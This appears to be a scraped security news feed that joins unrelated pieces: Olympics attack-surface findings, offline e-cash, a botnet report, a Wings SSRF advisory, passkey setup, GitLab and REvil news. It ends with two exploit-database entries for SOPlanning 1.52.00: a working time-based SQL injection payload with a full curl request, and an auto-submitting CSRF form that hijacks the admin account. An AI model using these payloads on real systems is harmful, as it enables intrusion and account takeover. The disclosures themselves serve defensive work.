By Deeba Ahmed
Paris 2024 Olympics face cybersecurity threats. Outpost24 analysis reveals open ports, SSL misconfigurations, and more. Can the organizers secure the Games in time? Read for critical insights and potential consequences.
This is a post from HackRead.com Read the original post: Critical Cybersecurity Loopholes Found in Paris 2024 Olympics Infrastructure

With the 2024 Olympic Games in Paris fast approaching (Fri, 26 Jul 2024 – Sun, 11 Aug 2024), a recent cybersecurity assessment by cyber threat exposure management solutions provider, Outpost24, has raised concerns about the game’s online infrastructure. 

While the overall security posture is deemed “mostly secure,” Outpost24, using its External Attack Surface Management (EASM) solution, Sweepatic, has identified critical vulnerabilities that could be exploited by malicious actors. Here’s a breakdown of the concerning findings:

****Open Ports:** **

Unsecured open ports act as gateways for hackers, allowing unauthorized access to sensitive data and internal systems.

****SSL Misconfigurations:** **

The report reveals that 31 domains have invalid SSL certificates, while 86 domains lack them entirely. These issues create vulnerabilities in the network, allowing attackers to intercept communications and steal information. The report highlights the need for improved SSL certificate configurations to protect against such attacks.

****Cookie Consent Violations:** **

Websites associated with the Paris 2024 Olympics may be failing to comply with data privacy regulations regarding user consent for cookie usage.

****Domain Squatting:** **

The presence of lookalike domains with malicious intent can potentially lure users into phishing scams or malware attacks.

****Potential Dangers****

The Paris 2024 Olympics face significant threats from cyberattacks utilizing these vulnerabilities, including data breaches, operational disruptions, and reputational damage. These vulnerabilities could compromise athlete information, ticketing details, and financial data, posing privacy and security risks. Critical systems like scorekeeping, broadcasting, and access control could be targeted, leading to chaos and disruption during the Games.

The report also highlights the positive aspects of the Paris 2024 cybersecurity citing that organizers have implemented strong security measures, and their overall approach deserves recognition but careful monitoring of loopholes too.

“Even though we’d consider the Paris 2024 games as a ‘good’ example of how to manage an attack surface, it isn’t perfect (as perfection rarely exists with cybersecurity),” stated Outpost24’s EASM CSO, Stijn Vande Casteele.

The Paris 2024 Olympics, expected to attract over 1 billion viewers, are a prime target for cyber criminality due to rising online traffic. Cybercriminals would want to exploit weaknesses and steal sensitive information for financial gain, akin to the 450 million cyberattacks in 2020 Tokyo. 

Therefore, addressing identified vulnerabilities and loopholes, patching open ports, rectifying SSL configurations, ensuring cookie consent compliance, and monitoring suspicious domain activity are crucial due to potential cyberattack consequences.

1.  New Malware Campaign Launched to Disrupt Winter Olympics
2.  Anonymous DDoS Brazilian Govt Websites Because Rio Olympics
3.  Russia hacked Winter Olympics, framed N.Korea in false-flag attack
4.  Olympics whistleblower Yuliya Stepanova hacked after Wada Breach
5.  World Anti-Doping Agency Site Hacked; Thousands of Accounts Leaked

Critical Cybersecurity Loopholes Found in Paris 2024 Olympics Infrastructure

By Daily Contributors
Is truly offline offline electronic Cash possible? Unlike Bitcoin, experts dig deeper into the technical hurdles of creating software-based cash that works without the internet. Discover why achieving this might be a tougher nut to crack than expected.
This is a post from HackRead.com Read the original post: Fully Offline Electronic Cash: Is It an Intractable Problem?

About a week ago I sat down with Michal Bajor, a senior security engineer at Resonance Security, to discuss things we both consider interesting topics within computing and security.

One problem we discussed was the idea of an ideal offline electronic cash from a purely technical perspective. We chose to ignore all the economic and political issues surrounding replacements Central Banks proposed for physical cash.

This article summarizes some of the things we considered. Unfortunately, I can’t remember exactly who said what, so let’s just attribute everything to both of us.

****Background****

One of the claims made by the European Central Bank about the digital euro, which is meant to be an electronic replacement (sorry, analog) for cash, is that “… it would be available both online and offline.”

This is not a trivial requirement. I don’t think it can be achieved.

Cash, like all physical objects, is strictly bound by the laws of physics. Objects cannot be spontaneously created out of thin air, and _they can only exist in one place at a time_. This much is obvious even to children, but it is a surprisingly useful feature of the real world. If have a five euro note and I give it to a shopkeeper, I no longer own it — it is in the till rather than my wallet.

Making identical copies of physical objects is hard, especially if people have spent centuries adding features to those objects to prevent casual duplication.

Another useful feature of cash is that once it has been issued and distributed, it is decentralized. If I have a five euro note in my wallet, short of a police raid, a mugging, or carelessness on my part, I get to decide when and where I transact with it. That transaction can take place anywhere — in a shop, on my driveway, or even halfway up Mount Everest.

In the digital world, on the other hand, duplication is easy. Despite numerous attempts by the music, film, and software industries using digital rights management and software keys, digital products such as mp3s, video files, and executable binaries continue to be illegally copied and shared.

This ease of copying things results in the “double spend” problem for digital money. How does one make a digital construct behave like a physical object so that only one person can own it at a time?

That is the core problem when designing and implementing offline digital cash.

****Framing the problem****

Before you can meaningfully discuss a problem, you need to be sure that both of you are considering the same issue under the same restrictions, and that means starting with some definitions to ensure that the digital solution has all the important features of paper notes and metal coins, while remaining digital.

****It must be software-based only****

The first is that the electronic cash we are considering should be electronic, not physical. That means it must be implemented in software only, so the code to hold and transact with the electronic cash can be run on standard smartphones and laptops.

This is a significant restriction, but a necessary one. If you start talking about the equivalent of scratch cards with bar codes, RFID cards with balances stored in a secure memory sector, or some kind of esoteric banknote with an embedded chip, then you are no longer talking about the kind of electronic cash Michal and I were considering.

Instead, you’re either just talking about a more complicated kind of physical cash, or you are going to require everyone to trade in their phones for new tamper-proof payment devices that will eventually be hacked.

****It must work when both parties are offline****

The first thing to note is that the payer does not care if the payment goes through or not. If they are buying a coffee, for example, as long as the system is accurate, the payer either ends up with a paid-for coffee, or a free coffee. The payee, on the other hand, is the party most concerned with the payment system working.

If both parties who are transacting are online, then the solution for electronic cash is technically trivial — the payer can submit their payment to the network, and the payee can then check on the network that the payment has been made. We already have such payment systems, both centralized ones (for example, payment processors like PayPal, credit card companies, or banks with their debit cards), and decentralized ones(for example, blockchain systems such as Bitcoin).

If the receiving party is online, then the solution is, similarly, relatively technically trivial. The payer can authorize the transaction offline, and the payee can present the transaction to the system on behalf of the payer, wait for it to be validated and accepted, and then verify that the payment has indeed gone through.

Again, this works in centralized systems, for example, using chip-and-pin and a point-of-sale terminal (provided the terminal is trusted), and in decentralized systems like Bitcoin where a valid digital signature on a transaction acts like a signed cheque.

If the transmitting party is online, then there are also possible solutions. Here’s a simplified explanation of one: if an offline receiver has a list of known validator public keys for a blockchain, then the online payer can submit a payment transaction, and wait until the transaction is signed by one of the validators. The payer can then present the signed transaction to the receiver, which can verify that the transaction signature is valid and made by a known validator, hence proving that the payment is valid.

Just to make it clear: we are looking for a solution that matches the diagram below, in which both the payer and the payee know that the transaction has taken place without a payment network being involved at the point of the transaction.

Note that it is perfectly fine if setting up the offline digital payment involves some online activity before and/or after the transaction takes place. The acid test is whether the two parties can walk out into the forest with no network coverage, transact, and then return to civilization safe in the knowledge that a fair value transfer happened.

****Incomplete solutions********Bitcoin****

Satoshi Nakamoto solved the problem of decentralized cash when connected to a computer network, namely through Bitcoin. In Bitcoin, asymmetric key cryptography is used to provide authentication for transferring digital assets from one person to another, and there is a ledger residing on a multitude of computers communicating with each other through a peer-to-peer network, with the ledger keeping track of exactly who owns what at what time.

With a market capitalization of $1.25 trillion and over a hundred million users, Bitcoin is not a failure. The problem is that Bitcoin doesn’t satisfy the offline requirement. You can present a signed transaction to the payee, but the payee needs to check the Bitcoin ledger to be sure that the payer’s Bitcoin address has enough of a balance to cover the payment.

And so although Bitcoin provides a fully software-based solution, it can only handle “payer is offline” cases at best.

****Ripple’s XPOP****

Ripple has presented another partial solution to offline payments, namely one where the payer is online, and the payee is not, through XPOP. There is a fair amount of misinformation online, claiming that XPOP allows Ripple to conduct fully offline transactions — it doesn’t. Instead, a more complicated version of the “payee is offline” case examined above is used.

Again, we have a fully software-based solution, but it can only handle “payee is offline” or “payer is offline” cases, but not both at the same time.

****Chaumian eCash****

The cryptographer David Chaum has been working on the problem of digital cash for four decades now. Although his eCash 2.0 does work offline, it manages this through the use of scratch cards with erasable bar codes on them. Thus Chaumian eCash 2.0 can manage the fully offline case but fails to meet the requirement of being software-based only.

One of the problems I immediately see with erasable bar-codes is that surveillance cameras are so good these days that a simple spycam videoing the bar code from afar before it is erased would allow a malicious third party to redeem the barcode before the merchant gets home and can do so.

That is without even considering how awkward transactions are, involving:

*   connecting two phones,
*   scratching off a foil covering with a coin (will people even be carrying those), and then
*   licking a Q-tip you happen to have in your pocket and using it to erase the bar code.

****Other partial or failed solutions****

When I posted a video about offline digital cash on LinkedIn and YouTube stating the problem, I received four direct messages within a day, proposing solutions. All of them relied on:

1.  enhancements to physical cash (creating a digital twin in the virtual space and linking them through a bar code or something similar), or
2.  specific locked-down hardware, such as a trusted execution environment

The first solution seems pointless to me, as we can already use the serial numbers on banknotes to track them in databases if we want to, making the proposed improvements no more than part of the effort to reduce counterfeiting.

The second solution comes with a hefty price tag to produce and distribute new hardware to everyone. Perhaps that could be overcome by only issuing devices to people in remote areas with no mobile phone coverage, such as some of the rural counties in the UK, or the Sahara desert.

****Conclusion****

So, I hear you ask, what is the solution? The sad thing is, Michal and I don’t have one. And after thinking about it for a long time, I am left with the sense that truly offline digital cash could be such an intractable problem that proving it is simply not possible may be easier than trying to invent it.

This article was authored and contributed by Keir Finlow-Bates, a passionate blockchain enthusiast and technologist.  

*   What the Bitcoin ETF Approval Mean for the Crypto Market
*   Analyzing Bitcoin Price Trends and Crypto Scalping Methods
*   Exploring the Phenomenal Rise of Ethereum as a Digital Asset
*   Owning Versus Renting – The Circumstances of Web3 Domains

Fully Offline Electronic Cash: Is It an Intractable Problem?

Plus: An assassination plot, an AI security bill, a Project Nimbus revelation, and more of the week’s top security news.

This week, WIRED reported that a group of prolific scammers known as the Yahoo Boys are openly operating on major platforms like Facebook, WhatsApp, TikTok, and Telegram. Evading content moderation systems, the group organizes and engages in criminal activities that range from scams to sextortion schemes.

On Wednesday, researchers published a paper detailing a new AI-based methodology to detect the “shape” of suspected money laundering activity on a blockchain. The researchers—composed of scientists from the cryptocurrency tracing firm Elliptic, MIT, and IBM—collected patterns of bitcoin transactions from known scammers to an exchange where dirty crypto could get turned into cash. They used this data to train an AI model to detect similar patterns.

Governments and industry experts are sounding the alarm about the potential for major airline disasters due to increasing attacks against GPS systems in the Baltic region since the start of the war in Ukraine. The attacks can jam or spoof GPS signals, and can result in serious navigation issues. Officials in Estonia, Latvia, and Lithuania blame Russia for the GPS issues in the Baltics. Meanwhile, WIRED went inside Ukraine’s scrappy and burgeoning drone industry, where about 200 companies are racing to build deadlier and more efficient autonomous weapons.

An Australian firm that provided facial recognition kiosks for bars and clubs appears to have exposed the data of more than 1 million records of patrons. The episode highlights the dangers of giving companies your biometric data. In the United States, the Biden administration is asking tech companies to sign a voluntary pledge to make “good-faith” efforts to implement critical cybersecurity improvements. This week we also reported that the administration is updating its plan for protecting the country’s critical infrastructure from hackers, terrorists, and natural disasters.

And there’s more. Each week, we highlight the news we didn’t cover in depth ourselves. Click on the headlines below to read the full stories. And stay safe out there.

**How Israeli Weapons Firms Use Amazon and Google**

A government procurement document unearthed by The Intercept reveals that two major Israeli weapons manufacturers are required to use Google and Amazon if they need any cloud-based services. The reporting calls into question repeated claims from Google that the technology it sells to Israel is not used for military purposes—including the ongoing bombardment of Gaza that has killed more than 34,000 Palestinians. The document contains a list of Israeli companies and government offices “required to purchase” any cloud services from Amazon and Google. The list includes Israel Aerospace Industries and Rafael Advanced Defense Systems, the latter being the manufacturer of the infamous “Spike” missile, reportedly used in the April drone strike that killed seven World Central Kitchen aid workers.

In 2021, Amazon and Google entered into a contract with the Israeli government in a joint venture known as Project Nimbus. Under the arrangement, the tech giants provide the Israeli government, including its Israel Defense Forces, with cloud services. In April, Google employees protested Project Nimbus by staging sit-ins at offices in Silicon Valley, New York City, and Seattle. The company fired nearly 30 employees in response.

A mass surveillance tool that eavesdrops on wireless signals emitted from smartwatches, earbuds, and cars is currently being deployed at the border to track people’s location in real time, a report from Notus revealed on Monday. According to its manufacturer, the tool, TraffiCatch, associates wireless signals broadcast by commonly used devices with vehicles identified by license plate readers in the area. A captain from the sheriff’s office in Webb County, Texas—whose jurisdiction includes the border city of Laredo—told the publication that the agency uses TraffiCatch to detect devices in areas where they shouldn’t be, for instance, to find trespassers.

Several states require law enforcement agencies to obtain warrants before deploying devices that mimic cell towers to obtain data from the devices tricked into connecting to it. But in the case of TraffiCatch, a technology that passively siphons ambient wireless signals out of the air, the courts haven’t yet weighed in. The report highlights how signals intelligence technology, once exclusive to the military, is now available for purchase by both local governments and the general public.

**An Indian Assassination Plot in America**

_The Washington Post_ reports that an officer in India's intelligence service, the Research and Analysis Wing, was allegedly involved in a botched plan to assassinate one of Indian prime minister Narendra Modi's top critics in the United States. The White House said Monday that it was taking the matter "very, very seriously," while India's foreign ministry blasted the _Post_ report as "unwarranted" and "not helpful." The alleged plot to murder the Sikh separatist, Gurpatwant Singh Pannun, a dual citizen of the United States and Canada, was first disclosed by US authorities in November.

Canadian authorities previously announced having obtained "credible" intel allegedly linking the Indian government to the death of another separatist leader, Hardeep Singh Nijjar, who was shot to death outside a Sikh temple in a Vancouver suburb last summer.

**An AI Security Bill Emerges**

US lawmakers have introduced a bill aimed at establishing a new wing of the National Security Agency dedicated to investigating threats aimed at AI systems—or "counter-AI." The bipartisan bill, introduced by Mark Warner and Thom Tillis, a Senate Democrat and Republican, respectively, would further require agencies including the National Institute of Standards and Technology (NIST) and the Cybersecurity and Infrastructure Security Agency (CISA) to track breaches of AI systems, whether successful or not. (The NIST currently maintains the National Vulnerability Database, a repository for vulnerability data, while the CISA oversees the Common Vulnerabilities and Exposures Program, which similarly identifies and catalogues publicly disclosed malware and other threats.)

The Senate bill, known as the Secure Artificial Intelligence Act, aims to expand the government's threat monitoring to include "adversarial machine learning"—a term that is essentially synonymous with "counter-AI"—which serves to subvert AI systems and “poison” their data using techniques vastly dissimilar to traditional modes of cyberwarfare.

A New Surveillance Tool Invades Border Towns

By Waqas
A new botnet called Goldoon targets D-Link routers and NAS devices putting them at risk of DDoS attacks and more. Learn how weak credentials leave you vulnerable and how to secure your network. pen_spark
This is a post from HackRead.com Read the original post: New Goldoon Botnet Targeting D-Link Devices by Exploiting 9-Year-Old Flaw

Cybersecurity researchers at Fortinet’s FortiGuard Labs have uncovered a new botnet threat dubbed “Goldoon” specifically targeting D-Link routers and network-attached storage (NAS) devices. This malware infects devices by exploiting the CVE-2015-2051 (CVSS score: 10.0) vulnerability, potentially putting user data and network security at risk.

It’s noteworthy to mention that CVE-2015-2051, a security vulnerability identified in February 2015, is nearly a decade old. This vulnerability primarily affects end-of-life devices.

In September 2022, Palo Alto Networks’ Unit 42 discovered that the same vulnerability was being exploited by the infamous Mirai botnet’s variant, known as MooBot, targeting D-Link devices. D-Link addressed the issue in 2015, and further details regarding their response can be found here.

According to the Fortinet report, Goldoon leverages brute-force attacks to gain access to D-Link devices. Brute-force attacks involve systematically trying different username and password combinations until gaining unauthorized access. The report suggests these attacks exploit weak default credentials or outdated firmware on targeted devices.

Once established, Goldoon transforms the infected device into a bot, adding it to a network of compromised machines under the control of the botnet operator. This network of bots can then be used for various malicious activities, including:

*   **Launching Distributed Denial-of-Service (DDoS) attacks:** Bombarding websites or online services with overwhelming traffic, causing them to crash or become unavailable to legitimate users.
*   **Data theft:** Stealing sensitive information like login credentials, financial details, or personal data stored on the infected device.
*   **Spreading malware:** Using the compromised device to propagate malware across a network further, potentially infecting other devices.

The report highlights the critical role of patching and updating firmware on D-Link devices. Outdated firmware often contains vulnerabilities that attackers can exploit. Fortinet recommends D-Link users to:

*   **Enable automatic firmware updates:** Most devices can download and install security updates automatically.
*   **Change default credentials:** Replace the factory-set username and password with a strong, unique combination.
*   **Implement strong network security practices:** Enable firewalls, use complex passwords, and be cautious when clicking on links or opening attachments from unknown senders.

> _“While CVE-2015-2051 is not a new vulnerability and presents a low attack complexity, it has a critical security impact that can lead to remote code execution. Once attackers successfully exploit this vulnerability, they can incorporate compromised devices into their botnet to launch further attacks We strongly recommend applying patches and updates whenever possible because of the ongoing development and introduction of new botnets.”_
> 
> FortiGuard Labs

Fortinet’s discovery of Goldoon serves as a reminder of the evolving cyber threat landscape. By prioritizing proper device security measures, D-Link users can minimize the risk of falling victim to this or similar botnet attacks.

1.  Androxgh0st Malware Hacks Servers for Botnet Attack
2.  Russian Hackers Target Ubiquiti Routers for Botnet Creation
3.  Qakbot Botnet Disrupted, Infected 700,000 Computers Globally
4.  Ddostf Botnet Resurfaces in DDoS Attacks Against Docker Hosts
5.  Mirai’s NoaBot Botnet Targeting Linux Systems with Cryptominer

New Goldoon Botnet Targeting D-Link Devices by Exploiting 9-Year-Old Flaw

### Impact

An authenticated user who has access to a game server is able to bypass the previously implemented access control (https://github.com/pterodactyl/wings/security/advisories/GHSA-6rg3-8h8x-5xfv) that prevents accessing internal endpoints of the node hosting Wings in the pull endpoint. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible.

### Workarounds

Enabling the `api.disable_remote_download` option or updating to the latest version of Wings are the only known workarounds.

### Patches

https://github.com/pterodactyl/wings/commit/c152e36101aba45d8868a9a0eeb890995e8934b8

**Package**

gomod github.com/pterodactyl/wings (Go)

**Affected versions**

< 1.11.12

**Patched versions**

1.11.12

**Description**

**Impact**

An authenticated user who has access to a game server is able to bypass the previously implemented access control (GHSA-6rg3-8h8x-5xfv) that prevents accessing internal endpoints of the node hosting Wings in the pull endpoint. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible.

**Workarounds**

Enabling the api.disable_remote_download option or updating to the latest version of Wings are the only known workarounds.

**Patches**

pterodactyl/wings@c152e36

**References**

*   GHSA-6rg3-8h8x-5xfv
*   GHSA-qq22-jj8x-4wwv
*   https://nvd.nist.gov/vuln/detail/CVE-2024-34068
*   pterodactyl/wings@c152e36

 matthewpi published to pterodactyl/wings

May 3, 2024

Published by the National Vulnerability Database

May 3, 2024

Published to the GitHub Advisory Database

May 3, 2024

Reviewed

May 3, 2024

Last updated

May 3, 2024

GHSA-qq22-jj8x-4wwv: Pterodactyl Wings vulnerable to Server-Side Request Forgery during remote file pull

Microsoft is rolling out passkey support for all devices. Here's a quick guide on how to create one.

Microsoft is rolling out passkey support for all consumer accounts.

Passkeys are a very secure replacement for passwords that can’t be cracked, guessed or phished, and let you log in easily, without having to type a password every time.

After enabling them in Windows 11 last year, Microsoft account owners can now generate passkeys across multiple platforms including Windows, Android, and iOS. You can create passkeys for your Microsoft account, and you can choose your face, fingerprint, PIN, or a security key to secure it.

**How to set up a passkey**

To create a passkey for your Microsoft account, follow these steps on the device where you’d like to create a passkey:

*   Sign in to your Microsoft account.
*   Navigate to **Security**  > **Advanced Security Options**.

*   Click on **Get started**.
*   Choose **Add a new way to sign in or verify**.

Note: Under certain circumstances, somewhere along the way you may end up in this screen which basically offers you the same choices in a prompt.

*   To create a passkey: Select **Face, fingerprint, PIN, or security key**.
*   Follow the instructions on your device.
*   During this process, you can choose to save the passkey to different devices like your Android, iPad, or iPhone, or a hardware key.
*   You’ll be presented with a QR code to scan with the selected device.
*   On the selected device you’ll be asked to authenticate.
*   When the procedure is successful, you’ll be asked to provide a name for the passkey. A good choice is to use a name that gives away the location where you stored the passkey.

Where is you passkey saved? Give this passkey a name to easily manage it later.

*   After confirming the name you’ll see this confirmation.

Passkey added. You can now use this passkey to sign in to your account.

**Removing a passkey**

Should you have second thoughts and want to remove a passkey, follow these steps:

*   Visit the **Advanced Security Options**.
*   From the list under **Ways to prove who you are**, select the passkey you’d like to remove.
*   Choose **Remove**.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 You get a passkey, you get a passkey, everyone should get a passkey 

Charges against the ransomware gang member included damage to computers, conspiracy to commit fraud, and conspiracy to commit money laundering.

Source: Ozrimoz via Shutterstock

Ukrainian national Yaroslav Vasinskyi, affiliate of the REvil ransomware-as-a-service group, was sentenced to more than 13 years in prison after pleading guilty to an 11-count indictment.

The charges against Vasinskyi, also known as Rabotnik, involved conspiracy to commit fraud, conspiracy to commit money laundering, and damage to protected computers. According to court documents, he conducted thousands of ransomware attacks using the Sodinokibi/REvil ransomware variants.

"Yaroslav Vasinskyi and his co-conspirators hacked into thousands of computers around the world and encrypted them with ransomware," said Principal Deputy Assistant Attorney General Nicole M. Argentieri, head of the Justice Department's Criminal Division. "Then they demanded over $700 million in ransom payments and threatened to publicly disclose victims' data if they refused to pay."

Alongside his sentencing, Vasinskyi has been ordered to pay roughly $16 million in restitution for the role he played in over 2,500 ransomware attacks — a fraction of the $700 million in ransom payments that was demanded of his victims.

**About the Author(s)**

REvil Affiliate Off to Jail for Multimillion-Dollar Ransomware Scheme

Patch now: Cyberattackers are exploiting CVE-2023-7028 (CVSS 10) to take over and lock users out of GitLab accounts, steal source code, and more.

Source: simon de glanville via Alamy Stock Photo

A critical security vulnerability in GitLab is under active attack, according to CISA. It allows bad actors to send password reset emails for any account to an email address of their choice, thus paving the way for account takeover.

"This will allow attackers to reset the password just as if they were a user that had legitimately forgotten theirs," says Erich Kron, security awareness advocate at KnowBe4. "From there, the account would belong to the bad actors."

Further, Kron warned that if adversaries choose to change the legitimate associated email address for a GitLab account they've infiltrated, they could then keep the rightful account owner from being able to log in or use the password recovery function to change it back.

CISA added the vulnerability, CVE-2023-7028, to its Known Exploited Vulnerabilities (KEV) catalog as a "GitLab Community and Enterprise Editions Improper Access Control Vulnerability." The agency noted that the bug is maximum severity with a 10 out of 10 CVSS vulnerability-severity score, and is requiring Federal Civilian Executive Branch (FCEB) agencies to remediate FCEB networks against the active threat.

Sajeeb Lohani, senior director of cybersecurity at Bugcrowd, said there are publicly available exploits for the bug as well, so defenders shouldn't sit on this one.

"Since the exploit itself is quite simple to pull off, the bar of entry for the exploit is low, implying less skilled hackers will also be able to exploit this issue," he says. "In simple terms, this is an issue you want to patch promptly."

**CVE-2023-7028: Risk of Proprietary Data, Code Theft**

David Brumley, cybersecurity professor at Carnegie Mellon and CEO of ForAllSecure, explains that the stakes are high for organizations because GitLab stores source code and proprietary data.

"There's always the risk of an attacker injecting malicious code into the supply chain as well, but that requires the changes not being flagged elsewhere," he explains. "While data exfiltration typically won't run up against other checks, the point of a source control platform is that you can easily transfer code in and out of it to local machines."

He recommended that organizations that manage their own GitLab deployments should ensure they have a plan to upgrade to a patched version if they haven't already done so.

"If that can't be done immediately, then mitigations should be employed," he says. "You need to ensure that you have regular password rotation or use a separate identity provider for authentication."

Larger organizations may want to also consider tools that can identify anomalous activity based on user actions, which could flag compromised accounts for quarantine.

**MFA, Zero Trust Are Effective Counters**

Defending against these types of attacks goes back to security basics. For instance, Kron suggests that one of the most effective ways to counter attacks such as unauthorized password changes is the use of multifactor authentication (MFA), which attackers keep trying to circumvent.

He added that while MFA is not unhackable, it can add enough complexity to the account takeover process that the bad actors may fail.

"Even if they could reset your password, they will not be able to log in without the second factor," he says. "This could prevent them from changing the recovery email address, making them unable to lock the rightful account owner out."

Patrick Tiquet, vice president of security and architecture at Keeper Security, meanwhile notes the most effective method to prevent account-based cyberattacks is to invest in a zero-trust and zero-knowledge cybersecurity architecture that will limit, if not altogether prevent, a bad actor's access.

He also says a privileged access management (PAM) solution is imperative for IT administrators and security personnel to manage and secure privileged credentials and ensure least-privilege access.

"Additionally, each organization's patch management strategy needs to have a fast track for critical vulnerabilities with high possible severities — like this one — to ensure they can immediately take action," Tiquet says.

**About the Author(s)**

Nathan Eddy is a freelance journalist and award-winning documentary filmmaker specializing in IT security, autonomous vehicle technology, customer experience technology, and architecture and urban planning. A graduate of Northwestern University’s Medill School of Journalism, Nathan currently lives in Berlin, Germany.

Critical GitLab Bug Under Exploit Enables Account Takeover, CISA Warns

SOPlanning version 1.52.00 suffers from a remote SQL injection vulnerability in projects.php.

    Exploit Title: SOPlanning v1.52.00 'projets.php' SQLiApplication: SOPlanningVersion: 1.52.00Date: 4/22/24Exploit Author: Joseph McPeters (Liquidsky)Vendor Homepage: https://www.soplanning.org/en/Software Link: https://sourceforge.net/projects/soplanning/Tested on: LinuxCVE: Not yet assignedDescription: SOPlanning v1.52.00 is vulnerable to Authenticated SQL Injection via the 'projects.php' page.Instructions: Authenticate to the host, the credentials can be obtained using a CSRF exploit (more info included). Once valid credentials are obtained use either a GET/POST request to send the valid parameters that equal to valid SQLi.Vulnerable request parameters for request to "/www/projets.php":filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=testThe above parameters can be sent as either a valid GET/POST request to trigger the SQLi.Example Curl Request To Re-Test SQLi:curl -i -s -k -X $'POST' \    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 130' -H $'Origin: http://127.0.0.1<http://127.0.0.1/>' -H $'Connection: close' -H $'Referer: http://127.0.0.1/soplanning/www/projets.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \    -b $'dateDebut=23/04/2024; dateFin=23/06/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D' \    --data-binary $'filtreGroupeProjet=1&statut[]=todo\'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+\'Liquidsky\'=\'Liquidsky&rechercheProjet=test' \    $'http://127.0.0.1/soplanning/www/projets.php'  Note: Cookies need to be authenticated and request needs to be valid for valid SQLi. This curl request can be used with a proxy to reconstruct a valid request.

SOPlanning 1.52.00 SQL Injection

SOPlanning version 1.52.00 suffers from a cross site request forgery vulnerability in xajax_server.php.

<html>  <body>    <form action=https://fuzzlove.website/www/process/xajax_server.php method="POST">      <input type="hidden" name="xajax" value="submitFormProfil" />      <input type="hidden" name="xajaxr" value="" />      <input type="hidden" name="xajaxargs[]" value="ADM" />      <input type="hidden" name="xajaxargs[]" value=pwn@mail.lv<mailto:pwn@mail.lv> />      <input type="hidden" name="xajaxargs[]" value="password" />      <input type="hidden" name="xajaxargs[]" value="fr" />      <input type="hidden" name="xajaxargs[]" value="true" />      <input type="hidden" name="xajaxargs[]" value="false" />      <input type="hidden" name="xajaxargs[]" value="true" />      <input type="hidden" name="xajaxargs[]" value="true" />      <input type="hidden" name="xajaxargs[]" value="true" />      <input type="hidden" name="xajaxargs[]" value="false" />      <input type="hidden" name="xajaxargs[]" value="0" />      <input type="hidden" name="xajaxargs[]" value="1" />    </form>    <script>      document.forms[0].submit();    </script>  </body></html>

Tag

#auth